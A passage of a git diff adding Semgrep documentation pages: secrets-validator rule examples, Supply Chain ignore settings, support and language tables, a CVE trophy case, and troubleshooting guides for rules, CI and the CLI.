+| language | Yes | Indicates the pattern language to use; this must be `regex` or `generic`|
+| pattern-regex | Yes | Defines the regular expression used to search the response body. Alternatively, you can use the `patterns` key and [define patterns as you would for rules](/semgrep-secrets/rules/#subkeys-under-the-patterns-key) |
+
+#### Example
+
+```yaml
+response:
+- match:
+ - status-code: 200
+ - content:
+ language: regex
+ pattern-regex: (\"ok\":true)
+ status-code: 200
+```
+
+## Sample rules with validators
+
+
+
+
+```yaml
+rules:
+- id: exampleCo_example
+ message: >-
+ This is an example rule that performs validation against semgrep.dev
+ severity: MEDIUM
+ metadata:
+ product: secrets
+ secret_type: exampleCo
+ languages:
+ - regex
+ validators:
+ - http:
+ request:
+ headers:
+ Host: api.semgrep.dev
+ User-Agent: Semgrep
+ method: POST
+ body: |
+ {"key": "$REGEX"}
+ url: https://api.semgrep.dev/user
+ response:
+ - match:
+ - status-code: 200
+ result:
+ validity: valid
+ - match:
+ - status-code: 401
+ result:
+ validity: invalid
+ patterns:
+ - patterns:
+ - pattern-regex: (?\b(someprefix_someRegex[0-9A-Z]{32})\b)
+ - focus-metavariable: $REGEX
+ - metavariable-analysis:
+ analyzer: entropy
+ metavariable: $REGEX
+```
+
+
+
+
+```yaml
+rules:
+- id: exampleCo_example
+ message: >-
+ This is an example rule that performs validation against semgrep.dev
+ severity: MEDIUM
+ metadata:
+ product: secrets
+ secret_type: exampleCo
+ languages:
+ - regex
+ validators:
+ - http:
+ request:
+ headers:
+ Host: api.semgrep.dev
+ User-Agent: Semgrep
+ method: POST
+ body: |
+ {"key": "$REGEX"}
+ url: https://api.semgrep.dev/user
+ response:
+ - match:
+ - status-code: 200
+ - content:
+ language: regex
+ pattern-regex: (\"role\":admin)
+ result:
+ validity: valid
+ severity: ERROR
+ message: >-
+ The token exposed is for an admin user, and this should be fixed immediately!
+ See https://howtorotate.com/introduction/key-rotation-101/ on how to
+ rotate secrets and https://blog.gitguardian.com/what-to-do-if-you-expose-a-secret/
+ on how to look for suspicious activity.
+ metadata:
+ context:
+ - admin: true
+ - match:
+ - status-code: 200
+ result:
+ validity: invalid
+ patterns:
+ - patterns:
+ - pattern-regex: (?\b(someprefix_someRegex[0-9A-Z]{32})\b)
+ - focus-metavariable: $REGEX
+ - metavariable-analysis:
+ analyzer: entropy
+ metavariable: $REGEX
+```
+
+
+
+
+### Base64 encoding
+
+You can use Base64 encoding by leveraging the `__semgrep_internal_encode_64(...)` utility. Base64 encoding can be applied to the following fields:
+
+- `url`
+- `body`
+- `header` values
+
+
+**NOTE**
+
+The Base64 encoding of fields is experimental and can change at any time.
+
+
+
+
+
+```yaml
+rules:
+- id: exampleCo_example
+ message: >-
+ This is an example rule that performs validation against semgrep.dev
+ severity: MEDIUM
+ metadata:
+ product: secrets
+ secret_type: exampleCo
+ languages:
+ - regex
+ validators:
+ - http:
+ request:
+ headers:
+ Authorization: Basic __semgrep_internal_encode_64($REGEX:)
+ Host: api.semgrep.dev
+ User-Agent: Semgrep
+ method: GET
+ url: https://api.semgrep.dev/user
+ response:
+ - match:
+ - status-code: 200
+ result:
+ validity: valid
+ - match:
+ - status-code: 401
+ result:
+ validity: invalid
+ patterns:
+ - patterns:
+ - pattern-regex: (?\b(someprefix_someRegex[0-9A-Z]{32})\b)
+ - focus-metavariable: $REGEX
+ - metavariable-analysis:
+ analyzer: entropy
+ metavariable: $REGEX
+```
+
diff --git a/mintlify-docs/snippets/semgrep-supply-chain/ignoring-dependencies.mdx b/mintlify-docs/snippets/semgrep-supply-chain/ignoring-dependencies.mdx
new file mode 100644
index 0000000000..ec6ed4113d
--- /dev/null
+++ b/mintlify-docs/snippets/semgrep-supply-chain/ignoring-dependencies.mdx
@@ -0,0 +1,29 @@
+You can restrict code files or manifest files or lockfiles from generating Supply Chain findings. To do so, you must [create a `.semgrepignore` file in your repository's root directory](/ignoring-files-folders-code/#define-ignored-files-and-folders-in-semgrep-appsec-platform) and define code files and lock files to ignore. The file paths you provide in your `.semgrepignore` file depend on the option that best suits your organization's needs:
+
+| Goal | Method |
+| :--- | :--- |
+| Prevent a code file from generating **any reachable findings**. | Include the code file's path in the repository's `.semgrepignore` file. |
+| Prevent any findings from being generated using the dependencies in a manifest file or lockfile | Include the file paths of the manifest file or lockfile in the repository's `.semgrepignore` file. |
+
+> Unreachable findings are only generated from manifest files or lockfiles, because Semgrep defines unreachable findings as the absence of a match in the code.
+
+## Sample `.semgrepignore` configuration
+
+Given a repository with the following files:
+
+* A file `codefile_with_vuln.js` that generates reachable and unreachable findings due to a vulnerable dependency.
+* A `package-lock.json` file that lists the vulnerable dependency.
+
+If you add `codefile_with_vuln.js` to the `.semgrepignore` file, Semgrep ignores any reachable findings generated when scanning `codefile_with_vuln.js`, but can still generate findings from `package-lock.json`:
+
+```
+# .semgrepignore
+codefile_with_vuln.js
+```
+
+If you add `package-lock.json` to the `.semgrepignore` file, Semgrep will not scan dependencies from this lockfile, so no Supply Chain findings will be generated in either `codefile_with_vuln.js` or `package-lock.json`:
+
+```
+# .semgrepignore
+package-lock.json
+```
diff --git a/mintlify-docs/snippets/writing-rules/overview.mdx b/mintlify-docs/snippets/writing-rules/overview.mdx
new file mode 100644
index 0000000000..c7aba7ba46
--- /dev/null
+++ b/mintlify-docs/snippets/writing-rules/overview.mdx
@@ -0,0 +1,27 @@
+- Automate code review comments.
+- Identify secure coding violations.
+- Scan configuration files.
+
+See more use cases in [Rule ideas](/writing-rules/rule-ideas).
+
+## Get started
+
+For an introduction to writing Semgrep rules, use the interactive, example-based [Semgrep rule tutorial](https://semgrep.dev/learn).
+
+You can write rules in your terminal and run them with the Semgrep command line tool, or you can write and test using the [Semgrep Editor](https://semgrep.dev/editor).
+
+For example, the following sample rule detects the use of `is` when comparing Python strings. `is` checks reference equality, not value equality, and can exhibit nondeterministic behavior.
+
+
+
+
+
+## Next steps
+
+The following articles guide you through rule-writing basics and act as references:
+
+- [Pattern syntax](/writing-rules/pattern-syntax) describes what Semgrep patterns can do in detail and provides sample use cases.
+- [Rule syntax](/writing-rules/rule-syntax) describes Semgrep YAML rule files, which can have multiple patterns, detailed output messages, and Rule-defined fixes. The syntax allows the composition of individual patterns with Boolean operators.
+- [Contributing rules](/contributing/contributing-to-semgrep-rules-repository) gives you an overview of how you can contribute to Semgrep Registry rules. This document also provides information about tests and metadata fields that you can use for your rules.
+
+Need rule ideas? See [Rule ideas](/writing-rules/rule-ideas) for everyday use cases and prompts to help you start writing rules from scratch.
diff --git a/mintlify-docs/styles.css b/mintlify-docs/styles.css
new file mode 100644
index 0000000000..c468805cc4
--- /dev/null
+++ b/mintlify-docs/styles.css
@@ -0,0 +1,15 @@
+h1 {
+ font-weight: 400 !important;
+}
+
+.dark .accordion {
+ background-color: #131c2d !important;
+}
+
+.dark [data-component-part="accordion-button"] {
+ background-color: #131c2d !important;
+}
+
+.dark [data-component-part="accordion-button"]:hover {
+ background-color: #1f2d44 !important;
+}
diff --git a/mintlify-docs/support.mdx b/mintlify-docs/support.mdx
new file mode 100644
index 0000000000..41caeb0502
--- /dev/null
+++ b/mintlify-docs/support.mdx
@@ -0,0 +1,63 @@
+---
+title: "Support"
+description: "This document provides various methods for all users of Semgrep to get help."
+---
+
+## Support for Semgrep customers
+
+All paying customers have access to a variety of support channels, technical
+documentation, and an active community of Semgrep users to help them make the
+most out of their Semgrep subscription.
+
+### Support hours
+
+Semgrep technical support is available 18 hours a day, five days a week, from 8
+AM to 1 AM UTC, Monday to Friday, excluding Semgrep-recognized holidays.
+
+### Contact support
+
+All Semgrep customers can contact Semgrep Support through the following methods.
+
+
+**TIP**
+
+You can also join various **beta programs** through these channels.
+
+
+#### Slack
+
+Customers with a private Slack channel with Semgrep can open a support case
+directly from Slack.
+
+#### Web
+
+Customers who log in to Semgrep AppSec Platform can open a support case
+from the [Help section](https://semgrep.dev/orgs/-/support).
+
+#### Email
+
+You can email the Support team at
+[support@semgrep.com](mailto:support@semgrep.com). For urgent or high
+priority issues, use Slack or [Semgrep AppSec Platform's Help section](https://semgrep.dev/orgs/-/support),
+so that you can set the appropriate priority on your issue.
+
+## Support for all Semgrep users (community support)
+
+[Join the Slack community](https://go.semgrep.dev/slack) to chat with the
+Semgrep maintainers and support engineers. All users, including Semgrep Community Edition (CE) users and Semgrep AppSec Platform users without a paid subscription plan, are welcome to ask for help in the community Slack group.
+
+Users interested in seeing a proof of concept can also [request a demo](https://semgrep.dev/contact/demo/) or [email Sales](mailto:sales@semgrep.com).
+
+## Semgrep CE support
+
+Users of Semgrep CE can log bugs and feature requests in the
+[semgrep](https://github.com/semgrep/semgrep/issues) repository. They can also
+ask questions regarding usage, rollouts, and deployments in the [community Slack
+group](https://go.semgrep.dev/slack).
+
+## Status page
+
+The [Semgrep status page](https://status.semgrep.dev/) enables users to
+subscribe to notifications whenever a service incident is created, updated, or
+resolved. Check the status page to see any current or past service incidents or
+to review historical uptime.
diff --git a/mintlify-docs/supported-languages.mdx b/mintlify-docs/supported-languages.mdx
new file mode 100644
index 0000000000..74a24d447c
--- /dev/null
+++ b/mintlify-docs/supported-languages.mdx
@@ -0,0 +1,69 @@
+---
+title: "Supported languages"
+---
+
+The following table lists all **Generally available (GA)** and **Beta** languages for [Semgrep Code (SAST)](/semgrep-code/overview) and [Semgrep Supply Chain (SCA)](/semgrep-supply-chain/overview).
+
+Languages are arranged by feature completeness from most to least. If applicable, click on the language name to learn more.
+
+**Cross-file (interfile)** analysis for Semgrep Code and **reachability** analysis for Semgrep Supply Chain are the most advanced analyses that Semgrep provides. See [Feature definitions](/references/feature-definitions) for more details.
+
+| **Languages** | **Semgrep Code** Supports 35+ languages | **Semgrep Supply Chain** Supports 14 languages |
+| --- | --- | --- |
+| [C#](/languages/csharp) | **Generally available** • Cross-file dataflow analysis • Supports up to C# 13 • 170+ Pro rules | **Generally available** • Reachability analysis • Can detect open source licenses • Can detect malicious dependencies |
+| [Go](/languages/go) | **Generally available** • Cross-file dataflow analysis • 80+ Pro rules | **Generally available** • Reachability analysis • Can detect open source licenses • Can detect malicious dependencies |
+| [Java](/languages/java) | **Generally available** • Cross-file dataflow analysis • Framework-specific control flow analysis • 190+ Pro rules | **Generally available** • Reachability analysis • Can detect open source licenses |
+| [JavaScript](/languages/javascript) | **Generally available** • Cross-file dataflow analysis • Framework-specific control flow analysis • 250+ Pro rules | **Generally available** • Reachability analysis • Can detect open source licenses • Can detect malicious dependencies |
+| [Kotlin](/languages/kotlin) | **Generally available** • Cross-file dataflow analysis • 60+ Pro rules | **Generally available** • Reachability analysis • Can detect open source licenses |
+| [Python](/languages/python) | **Generally available** • Cross-file dataflow analysis • Framework-specific control flow analysis • 710+ Pro rules • See [Python-specific support details](/languages/python) | **Generally available** • Reachability analysis • Can detect open source licenses • Can detect malicious dependencies |
+| Typescript | **Generally available** • Cross-file dataflow analysis • Framework-specific control flow analysis • 230+ Pro rules | **Generally available** • Reachability analysis • Can detect malicious dependencies • Can detect open source licenses |
+| C / C++ | **Generally available** • Cross-file dataflow analysis • 150+ Pro rules | N/a |
+| JSX | **Generally available** • Cross-function dataflow analysis • 70+ Pro rules | **Generally available** • Reachability analysis • Can detect open source licenses |
+| [Ruby](/languages/ruby) | **Generally available** • Cross-function dataflow analysis • 40+ Pro rules | **Generally available** • Reachability analysis • Can detect open source licenses • Can detect malicious dependencies |
+| [Scala](/languages/scala) | **Generally available** • Cross-function dataflow analysis • Community rules | **Generally available** • Reachability analysis • Can detect open source licenses |
+| [Swift](/languages/swift) | **Generally available** • Cross-function dataflow analysis • 60+ Pro rules | **Generally available** • Reachability analysis • Can detect open source licenses |
+| Rust | **Generally available** • Cross-function dataflow analysis • 40+ Pro rules | **Generally available** • Reachability analysis • Can detect open source licenses • Can detect malicious dependencies |
+| PHP | **Generally available** • Cross-function dataflow analysis • 50+ Pro rules | **Generally available** • Reachability analysis • Can detect open source licenses |
+| Terraform | **Generally available** • Cross-function dataflow analysis • Community rules | N/a |
+| Generic | **Generally available** | N/a |
+| JSON | **Generally available** | N/a |
+| Elixir | **Generally available** | **Beta** |
+| APEX | **Beta** | -- |
+| Dart | **Experimental** | **Beta** |
+
+
+- Bash
+- Cairo
+- Circom
+- Clojure
+- Dockerfile
+- Hack
+- HTML
+- Jsonnet
+- Julia
+- Lisp
+- Lua
+- Move on Aptos
+- Move on Sui
+- OCaml
+- R
+- Scheme
+- Solidity
+- YAML
+- XML
+
+
+## Additional information
+
+Language maturity levels differ from feature and product maturity levels.
+
+
+* See [Language maturity levels](/references/language-maturity-levels) for maturity definitions used on this document.
+* See [Feature definitions](/references/feature-definitions) for analysis terminology definitions used on this document.
+* See [Package manager support](/semgrep-supply-chain/sca-package-manager-support) for Supply Chain dependency metadata support.
+* See [Supply Chain feature support](/semgrep-supply-chain/sca-feature-support) for Supply Chain feature coverage by language.
+
+
+Visit the cheat sheet generation script and associated semgrep-core test files to learn more about each feature:
+* [Generation script](https://github.com/semgrep/semgrep/blob/develop/scripts/generate_cheatsheet.py)
+* [`semgrep-core` test files](https://github.com/semgrep/semgrep/tree/develop/tests)
diff --git a/mintlify-docs/trophy-case.mdx b/mintlify-docs/trophy-case.mdx
new file mode 100644
index 0000000000..8163b0d81e
--- /dev/null
+++ b/mintlify-docs/trophy-case.mdx
@@ -0,0 +1,31 @@
+---
+title: "Semgrep trophy case"
+sidebarTitle: "Trophy case"
+description: "This is a list of vulnerabilities found and security fixes made with Semgrep."
+---
+
+Add yours [with a pull request](https://github.com/semgrep/semgrep-docs/blob/main/trophy-case.md)!
+
+| CVEs | | | |
+| :--- | :--- | :--- | :--- |
+| **CVE** | **Semgrep rule** | **Affected software** | **Description** |
+| [CVE-2025-59034](https://nvd.nist.gov/vuln/detail/CVE-2025-59034) | | Indico v3.3.7 | Insecure direct object reference used to retrieve profile details of other users, circumventing access check. |
+| [CVE-2025-29783](https://nvd.nist.gov/vuln/detail/CVE-2025-29783) | [python.lang.security.deserialization.pickle.avoid-pickle](https://semgrep.dev/r?q=python.lang.security.deserialization.pickle.avoid-pickle) | vLLM v0.8.2 | Unsafe deserialization allowed execution of remote code on distributed hosts using Mooncake. |
+| [CVE-2019-5479](https://nvd.nist.gov/vuln/detail/CVE-2019-5479) | [javascript.lang.security.detect-non-literal-require](https://semgrep.dev/r?q=javascript.lang.security.detect-non-literal-require) | larbitbase-api < v0.5.5 | An unintended require vulnerability in <v0.5.5 larvitbase-api may allow an attacker to load arbitrary non-production code (JavaScript file). |
+| [CVE-2020-8128](https://nvd.nist.gov/vuln/detail/CVE-2020-8128) | [javascript.lang.security.detect-non-literal-require](https://semgrep.dev/r?q=javascript.lang.security.detect-non-literal-require) | jsreport < 2.5.0 | An unintended require and server-side request forgery vulnerabilities in jsreport version 2.5.0 and earlier allow attackers to execute arbitrary code. |
+| [CVE-2020-8129](https://nvd.nist.gov/vuln/detail/CVE-2020-8129) | [javascript.lang.security.detect-non-literal-require](https://semgrep.dev/r?q=javascript.lang.security.detect-non-literal-require) | script-manager < 0.8.6 | An unintended require vulnerability in script-manager npm package version 0.8.6 and earlier may allow attackers to execute arbitrary code. |
+| [CVE-2020-7739](https://nvd.nist.gov/vuln/detail/CVE-2020-7739) | [javascript.phantom.security.audit.phantom-injection](https://semgrep.dev/r?q=javascript.phantom.security.audit.phantom-injection) | phantomjs-seo | This affects all versions of package phantomjs-seo. It is possible for an attacker to craft a URL that will be passed to a PhantomJS instance allowing for an SSRF attack. |
+| [CVE-2020-7740](https://nvd.nist.gov/vuln/detail/CVE-2020-7740) | [javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection](https://semgrep.dev/r?q=javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection) | node-pdf-generator | This affects all versions of package node-pdf-generator. Due to lack of user input validation and sanitization done to the content given to node-pdf-generator, it is possible for an attacker to craft a URL that will be passed to an external server allowing an SSRF attack. |
+| [CVE-2020-7749](https://nvd.nist.gov/vuln/detail/CVE-2020-7749) | [javascript.puppeteer.security.audit.puppeteer-setcontent-injection](https://semgrep.dev/r?q=javascript.puppeteer.security.audit.puppeteer-setcontent-injection) | osm-static-maps | This affects all versions of package osm-static-maps. User input given to the package is passed directly to a template without escaping (`{{{ ... }}}`). As such, it is possible for an attacker to inject arbitrary HTML/JS code and depending on the context. It will be outputted as an HTML on the page which gives opportunity for XSS or rendered on the server (puppeteer) which also gives opportunity for SSRF and Local File Read. |
+
+
+| Open Source Contributions | | |
+| :--- | :--- | :--- |
+| **Affected software** | **Semgrep rule** | **Description** |
+| [Open EdX](https://github.com/edx/edx-platform/commit/3f1220276d72cada2d4aa5f812768a3dff6e711a#diff-4e1bff4f8c5f8ff3ffb5aad2c61aa9433876ba2462c62f22488f2382457a84ae) | [python.requests.security.disabled-cert-validation](https://semgrep.dev/r?q=python.requests.security.disabled-cert-validation) | SSL certification is disabled in order to accept self-signed certificates. |
+| [RPyC](https://github.com/tomerfiliba-org/rpyc/pull/376) | [python.lang.correctness.common-mistakes.default-mutable-dict](https://semgrep.dev/r?q=python.lang.correctness.common-mistakes.default-mutable-dict) | In python, the default values of function parameters are instantiated at function definition time. All calls to that function that use the default value all point to the same global object. Because of this, two instances of Server (initialized without passing in a protocol_config option) actually share the same protocol_config. So modifying one server's config affects the other ones. |
+| [CMake](https://gitlab.kitware.com/cmake/cmake/-/merge_requests/4432) | [python.lang.correctness.common-mistakes.default-mutable-dict](https://semgrep.dev/r?q=python.lang.correctness.common-mistakes.default-mutable-dict) | `ConvertMSBuildXMLToJSON`: Fix python mutable default data structure |
+| [lte-template-flask](https://github.com/ucfopen/lti-template-flask/pull/13) | [python.flask.security.unescaped-template-extension](https://semgrep.dev/r?q=python.flask.security.unescaped-template-extension) | Passing the host parameter to your jinja template in `views.py:63`. `lis_person_name_full` comes from `request.form.get('lis_person_name_full')`. This line may be susceptible to XSS attacks. I went ahead and html-escaped the `lis_person_name_full` variable in `launch.htm.j2` file using the `{{ value\|e }}` pattern in Jinja. (https://jinja.palletsprojects.com/en/2.10.x/templates/#working-with-manual-escaping). Note that if your template file extensions ended with `.html`, `.htm`, `.xml`, or `.xhtml`, they would have been automatically html escaped. |
+| [netskrafl.is](https://github.com/mideind/Netskrafl/pull/76) | [python.flask.security.xss.audit.template-unescaped-with-safe](https://semgrep.dev/r?q=python.flask.security.xss.audit.template-unescaped-with-safe) | The `\| safe` filter from `from_url` in the `userprefs.html` template causes XSS.|
+| [pdfcpu](https://github.com/pdfcpu/pdfcpu/pull/200) | [go.lang.correctness.useless-eqeq.eqeq-is-bad](https://semgrep.dev/r?q=go.lang.correctness.useless-eqeq.eqeq-is-bad) | It looks like this test case in `pkg/pdfcpu/image_test.go` was intending to compare `bb1` with `bb2`, but it was comparing `bb1` twice. |
+
diff --git a/mintlify-docs/troubleshooting/rules.mdx b/mintlify-docs/troubleshooting/rules.mdx
new file mode 100644
index 0000000000..5aee8b03a1
--- /dev/null
+++ b/mintlify-docs/troubleshooting/rules.mdx
@@ -0,0 +1,55 @@
+---
+title: "Troubleshooting rules"
+---
+This page intends to help rule authors fix common mistakes when writing Semgrep rules. If you have a problem while running a rule you didn't write yourself, please [open a GitHub issue in the Semgrep Registry](https://github.com/semgrep/semgrep-rules/issues/new/choose) repository.
+
+## If your pattern can’t be parsed
+
+This error means your pattern does not look like complete source code in the selected language.
+
+"Complete source code" means that the Semgrep pattern must look like a valid, complete expression or statement on its own.
+
+To illustrate with an example, Python isn't able to parse `if 4 < 5` as a line of code, because it's missing the code block on the right hand side.
+
+```bash
+>>> if 4 < 5
+ File "", line 1
+ if 4 < 5
+ ^
+SyntaxError: invalid syntax
+>>>
+```
+
+To get Python to parse this, you need to add a colon and a code block:
+
+```bash
+>>> if 4 < 5: print("it works!")
+...
+it works!
+>>>
+```
+
+The same way Python's parser cannot parse partial statements or expressions, Semgrep cannot either.
+
+The Semgrep pattern `if $X < 5` is invalid, and needs to be changed to a complete statement with a wildcard: `if $X < 5: ...`
+
+While this is the most common reason for pattern parse errors, other things to verify include:
+
+- Making sure the correct language is indicated in the rule.
+- Making sure that any metavariables you use are in all uppercase and does not start with a number. Valid metavariable names include `$X`, `$NAME`, and `$_VAR_2`. Invalid metavariable names include `$name`, `$1stvar` and `$VAR-WITH-DASHES`.
+
+## If your rule doesn't match where it should
+
+In general, it helps to test the patterns within your rule in isolation. If you scan for the patterns individually and they each find what you expect, the issue is with the Boolean logic within your rule. Review the [rule syntax](/writing-rules/rule-syntax) to make sure the operators are meant to behave like you expect. If you managed to find a pattern that behaves incorrectly, continue debugging with the section below.
+
+## If your pattern doesn't match where it should
+
+If you isolated the issue to one specific pattern, here are some common issues to look out for:
+
+- When referencing something imported from a module, you need to fully qualify the import path. To match `import google.metrics; metrics.send(foo)` in Python, your pattern needs to be `google.metrics.send(...)` instead of `metrics.send(...)`.
+- If your pattern uses a metavariable, make sure it's all uppercase and does not start with a number. Valid metavariable names include `$X`, `$NAME`, and `$_VAR_2`. Invalid metavariable names include `$name`, `$1stvar` and `$VAR-WITH-DASHES`.
+
+## If a regex pattern doesn't match where it should
+
+- When using `metavariable-regex`, the regex matches against all characters of the found metavariable. This means that if the metavariable matches a `"foo"` string in your code, the `metavariable-regex` pattern runs against a five character string with the quote characters at either end.
+- Note that using the pipe (`|`) character appends a newline to your regex! If you are writing `pattern-regex: |` and then a newline with the regex, you almost certainly want the `|-` operator as in `pattern-regex: |-` to remove that trailing newline.
\ No newline at end of file
diff --git a/mintlify-docs/troubleshooting/semgrep-app.mdx b/mintlify-docs/troubleshooting/semgrep-app.mdx
new file mode 100644
index 0000000000..b3987d1612
--- /dev/null
+++ b/mintlify-docs/troubleshooting/semgrep-app.mdx
@@ -0,0 +1,179 @@
+---
+title: "Troubleshooting CI scans"
+sidebarTitle: "Troubleshooting CI"
+---
+
+This document outlines troubleshooting steps for issues related to **Semgrep scans** in a CI environment. Refer to the following sections if you're seeing results reported on files that have not changed since the last scan, frequent timeouts, or other issues.
+
+For issues on **deployment or CI configuration**, such as adding repositories, see the knowledge base articles in [ Semgrep in CI](/kb/semgrep-ci).
+
+## Reproducing the issue locally
+
+To aid in debugging, you can reproduce some aspects of your Semgrep CI job locally. This enables you to inspect the logs and behavior through your terminal rather than in your CI provider's interface. Perform the following steps:
+
+1. Run the following command in your terminal:
+
+ ```bash
+ semgrep login
+ ```
+
+1. After logging in, return to the CLI and enter the following:
+
+ ```bash
+ SEMGREP_REPO_NAME=your-organization/repository-name semgrep ci
+ ```
+
+ For example, given a GitHub repository `vulncorp/juice-shop`, the full command would be:
+
+ ```bash
+ SEMGREP_REPO_NAME=vulncorp/juice-shop semgrep ci
+ ```
+
+
+When running `semgrep ci`, Semgrep fetches rules and any other configurations specific to your CI environment. Setting `SEMGREP_REPO_NAME` is optional, but ensures that:
+- Results are sent to the same project (either a repository or folder in a monorepo) in Semgrep AppSec Platform.
+- Any project-specific configurations, such as file ignores, are also respected.
+
+## Troubleshooting GitHub
+
+The first piece of information that the team at Semgrep uses are the **GitHub Actions logs**.
+
+To retrieve a log, perform the following steps:
+
+
+
+ Navigate to the main page of the GitHub repository you are troubleshooting or scanning.
+
+
+ Click the **Actions** tab.
+
+
+
+
+
+
+ In the Actions page, click the Semgrep workflow run that you want to retrieve logs for. The name depends on your configuration. By default, it is named **Semgrep**.
+
+
+**TIP**
+
+ Your repository may have different workflow runs, such as linters. To quickly browse through workflow runs, you can also click the name of your workflow, typically **Semgrep** under **Actions** in the navigation bar to view only Semgrep runs.
+
+
+
+ Click the job name, typically **semgrep/ci**.
+
+
+ You are taken to the specific job page. Click the gear icon **> Download log archive**.
+
+
+
+
+
+
+
+You have successfully downloaded a GitHub Actions log. You can send this as part of your ticket to [Support](/support).
+
+
+## Troubleshooting GitLab SAST
+
+GitLab SAST includes and maintains a Semgrep integration called [`semgrep-sast`](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep) for vulnerability finding.
+
+
+**TIP**
+
+Please visit [GitLab’s SAST troubleshooting guide](https://docs.gitlab.com/ee/user/application_security/sast/#troubleshooting) for help with general GitLab SAST issues.
+
+
+### The `semgrep-sast` CI job is slow
+
+The `semgrep-sast` job should take less than a minute to scan a large project with 50k lines of Python and TypeScript code. If you see worse performance, please [reach out](/support) to the Semgrep maintainers for help with tracking down the cause. Long runtimes are typically caused by just one rule or source code file taking too long. You can also try these solutions:
+
+#### Review global CI job configuration
+
+You might be creating large files or directories in your GitLab CI config's `before_script:`, `cache:`, or similar sections. The `semgrep-sast` job scans all files available to it, not just the source code committed to Git, so if for example you have a cache configuration of
+
+```yaml
+cache:
+ paths:
+ - node_modules/
+```
+
+you should prevent those files from being scanned by [disabling caching](https://docs.gitlab.com/ee/ci/caching/#disable-cache-on-specific-jobs) for the `semgrep-sast` job like this:
+
+```yaml
+semgrep-sast:
+ cache: {}
+```
+
+#### Exclude large paths
+
+If you know which large files might be taking too long to scan, you can use [GitLab SAST's path exclusion feature](https://docs.gitlab.com/ee/user/application_security/sast/#vulnerability-filters) to skip files or directories matching given patterns.
+
+- `SAST_EXCLUDED_PATHS: "*.py"` will ignore the paths at:
+ `foo.py`, `src/foo.py`, `foo.py/bar.sh`.
+- `SAST_EXCLUDED_PATHS: "tests"` will ignore
+ `tests/foo.py` as well as `a/b/tests/c/foo.py`.
+
+You can use a comma separated list to ignore multiple patterns: `SAST_EXCLUDED_PATHS: "*.py, tests"` will ignore all of the preceding paths.
+
+### `semgrep-sast` reports false positives or false negatives
+
+If you're not getting results where you should, or you get too many results, the problem might be with the patterns Semgrep scans for.
+
+You can review the search patterns in the [rules directory of the `semgrep-sast` analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep/-/tree/main/rules) and report issues to the GitLab team. Refer to the [Semgrep rule writing tutorial](https://semgrep.dev/learn) to help better understand these rule files. You can also refer to the [Semgrep Registry](https://semgrep.dev/explore) which is a collection of 2,000+ Semgrep rules curated by Semgrep, Inc.
+
+### `semgrep-sast` crashes, fails, or is otherwise broken
+
+Semgrep prints an error message to explain what went wrong upon crashes, and often also what to do to fix it.
+
+The output of Semgrep is hidden by default, but [GitLab provides a way](https://docs.gitlab.com/ee/user/application_security/sast/#sast-debug-logging) to see it by setting an environment variable:
+
+```yaml
+variables:
+ SECURE_LOG_LEVEL: "debug"
+```
+
+## Project-specific issues
+
+A **project** is any repository you have added to Semgrep Cloud Platform for scanning. Refer to the following sections for issues in the **Semgrep AppSec Platform > Projects** page.
+
+### If a project reports the last scan "Never started"
+
+This status means that your CI job never authenticated to Semgrep AppSec Platform.
+
+Check your CI provider (such as GitHub Actions) for the latest Semgrep job execution.
+
+#### If you can’t find a Semgrep CI job
+
+The issue is likely with the CI configuration.
+
+- Make sure that the branch you committed a CI job to is included in the list of branches the job is triggered on.
+- Make sure that the CI configuration file has valid syntax. Most providers have a tool for checking the syntax of configuration files.
+
+#### If a Semgrep CI job exists
+
+Check the log output for any hints about what the issue is.
+
+- If the logs mention a missing token or an authentication failure, you can get a new token from the [**Settings > Tokens** page of Semgrep AppSec Platform](https://semgrep.dev/orgs/-/settings/tokens), and set it as `SEMGREP_APP_TOKEN` in your CI provider's secret management UI.
+- Alternatively, if this is the first scan after adding a new GitHub repository, and the repository is a fork, check your Actions tab to see if workflows are enabled:
+
+
+
+
+
+ - Enable workflows by clicking **I understand my workflows, go ahead and enable them** to allow Semgrep to scan.
+
+### If a project reports a scan 'Never finished'
+
+Most often, this status means that the job started and authenticated correctly, but failed or was canceled before completion. Check your CI provider (such as GitHub Actions) for the log output of the latest Semgrep job execution. In most cases, you will see an error message with detailed instructions on what to do.
+
+Sometimes, this status may be shown when the scan has been running for a long time (more than an hour) and is still in progress. Scans that eventually produce results will be accepted by Semgrep AppSec Platform, even if this message is shown.
+
+#### If the job is aborted due to taking too long
+
+Many CI providers have a time limit for how long a job can run. If your CI scans regularly take too long and fail to complete:
+
+- Please [reach out](/support) to the Semgrep team for help with tracking down the cause. Semgrep scans most projects with hundreds of rules within a few minutes, and long run times are often caused by just one rule or source code file taking too long.
+- To optimize run times, use Semgrep's diff-aware scanning in pull requests and merge requests to skip scanning unchanged files. For more details, see [Semgrep's behavior](/deployment/customize-ci-jobs).
+- Skip scanning large and complex source code files (such as minified JS or generated code) if you know their path by adding a `.semgrepignore` file. See [how to ignore files & directories in Semgrep CI](/ignoring-files-folders-code).
diff --git a/mintlify-docs/troubleshooting/semgrep.mdx b/mintlify-docs/troubleshooting/semgrep.mdx
new file mode 100644
index 0000000000..97430670a5
--- /dev/null
+++ b/mintlify-docs/troubleshooting/semgrep.mdx
@@ -0,0 +1,23 @@
+---
+title: "Troubleshooting the CLI"
+---
+
+## Semgrep exited with code -11 (or -9)
+
+This can happen when Semgrep crashes, usually as a result of memory exhaustion. `-11` and `-9` are the POSIX signals raised to cause the crash.
+
+Review troubleshooting steps for memory exhaustion at [Semgrep scan troubleshooting: Memory usage issues](/kb/semgrep-code/semgrep-scan-troubleshooting/#memory-usage-issues-oom-errors).
+
+## Semgrep is too slow
+
+Semgrep records runtimes for each file and rule. This information is displayed when you include the `--time` flag when running Semgrep. How you choose to interact with the `--time` output depends on your goals.
+
+### I want Semgrep to run faster
+
+Review troubleshooting steps for slow scans at [Semgrep scan troubleshooting: Slow scans](/kb/semgrep-code/semgrep-scan-troubleshooting/#slow-scans).
+
+### I am a contributor who wants to improve Semgrep's engine
+
+Thank you! Check out the [Contributing docs](/contributing/contributing) to get started.
+
+The section [Explore results from a slow run of Semgrep](/contributing/semgrep-core-contributing#explore-results-from-a-slow-run-of-semgrep) is helpful if you haven't previously investigated Semgrep performance.
diff --git a/mintlify-docs/update.mdx b/mintlify-docs/update.mdx
new file mode 100644
index 0000000000..4a257f1b05
--- /dev/null
+++ b/mintlify-docs/update.mdx
